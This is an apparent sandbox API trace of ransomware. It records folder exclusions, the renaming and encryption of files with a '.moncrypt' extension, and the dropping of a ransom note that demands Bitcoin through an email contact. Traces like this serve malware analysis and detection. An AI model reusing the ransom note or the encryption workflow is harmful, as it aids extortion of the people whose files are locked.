[0055.075] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.075] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0055.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.075] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.076] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7a0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.076] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.076] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.076] GlobalUnlock (hMem=0x44000c) returned 0 [0055.076] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.076] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.076] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.076] GlobalUnlock (hMem=0x44000c) returned 0 [0055.076] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.076] GlobalUnlock (hMem=0x440004) returned 0 [0055.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0055.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0055.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0055.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0055.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.078] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.078] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0055.078] GlobalLock (hMem=0x440004) returned 0x550170 [0055.078] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.078] GlobalUnlock (hMem=0x440004) returned 0 [0055.078] GlobalLock (hMem=0x440004) returned 0x550170 [0055.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.078] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.078] GlobalUnlock (hMem=0x440004) returned 0 [0055.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.078] GlobalUnlock (hMem=0x44000c) returned 0 [0055.078] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.078] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.078] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0055.078] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.078] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.078] GlobalUnlock (hMem=0x44000c) returned 0 [0055.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.078] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.078] GlobalUnlock (hMem=0x44000c) returned 0 [0055.079] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.079] GlobalUnlock (hMem=0x440004) returned 0 [0055.079] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.079] CharLowerBuffW (in: lpsz="MSB1FRAR.ITS", cchLength=0xc | out: lpsz="msb1frar.its") returned 0xc [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpUsedDefaultChar=0x0) returned 73 [0055.079] CharLowerBuffW (in: lpsz=".ITS", cchLength=0x4 | out: lpsz=".its") returned 0x4 [0055.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".its", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".itsShared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpUsedDefaultChar=0x0) returned 4 [0055.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.080] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0055.081] CloseHandle (hObject=0x18c) returned 1 [0055.081] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\я")) returned 1 [0055.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0x54e240 [0055.082] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.082] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.082] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", dwFileAttributes=0x20) returned 1 [0055.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.moncrypt")) returned 1 [0055.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.084] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.084] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x166bae [0055.084] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.084] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.088] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.088] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.089] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.089] GlobalUnlock (hMem=0x44000c) returned 0 [0055.089] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0055.089] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.089] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.089] GlobalUnlock (hMem=0x44000c) returned 0 [0055.090] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.090] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.090] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.090] GlobalUnlock (hMem=0x440004) returned 0 [0055.090] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.090] GlobalUnlock (hMem=0x44000c) returned 0 [0055.090] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.090] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.090] GlobalUnlock (hMem=0x44000c) returned 0 [0055.090] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.090] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.090] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.090] GlobalUnlock (hMem=0x44000c) returned 0 [0055.090] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.090] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.090] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.090] SetFilePointer (in: hFile=0x18c, lDistanceToMove=1469358, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x166bae [0055.091] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.092] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.092] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.104] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.104] CloseHandle (hObject=0x18c) returned 1 [0055.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.136] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.136] CloseHandle (hObject=0x18c) returned 1 [0055.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.moncrypt", dwFileAttributes=0x20) returned 1 [0055.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.137] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.137] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.137] GlobalUnlock (hMem=0x44000c) returned 0 [0055.137] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.137] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.137] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.137] GlobalUnlock (hMem=0x44000c) returned 0 [0055.137] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.137] GlobalUnlock (hMem=0x440004) returned 0 [0055.137] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a750, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0055.138] GetLastError () returned 0x2 [0055.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.138] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0055.139] CloseHandle (hObject=0x18c) returned 1 [0055.139] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, 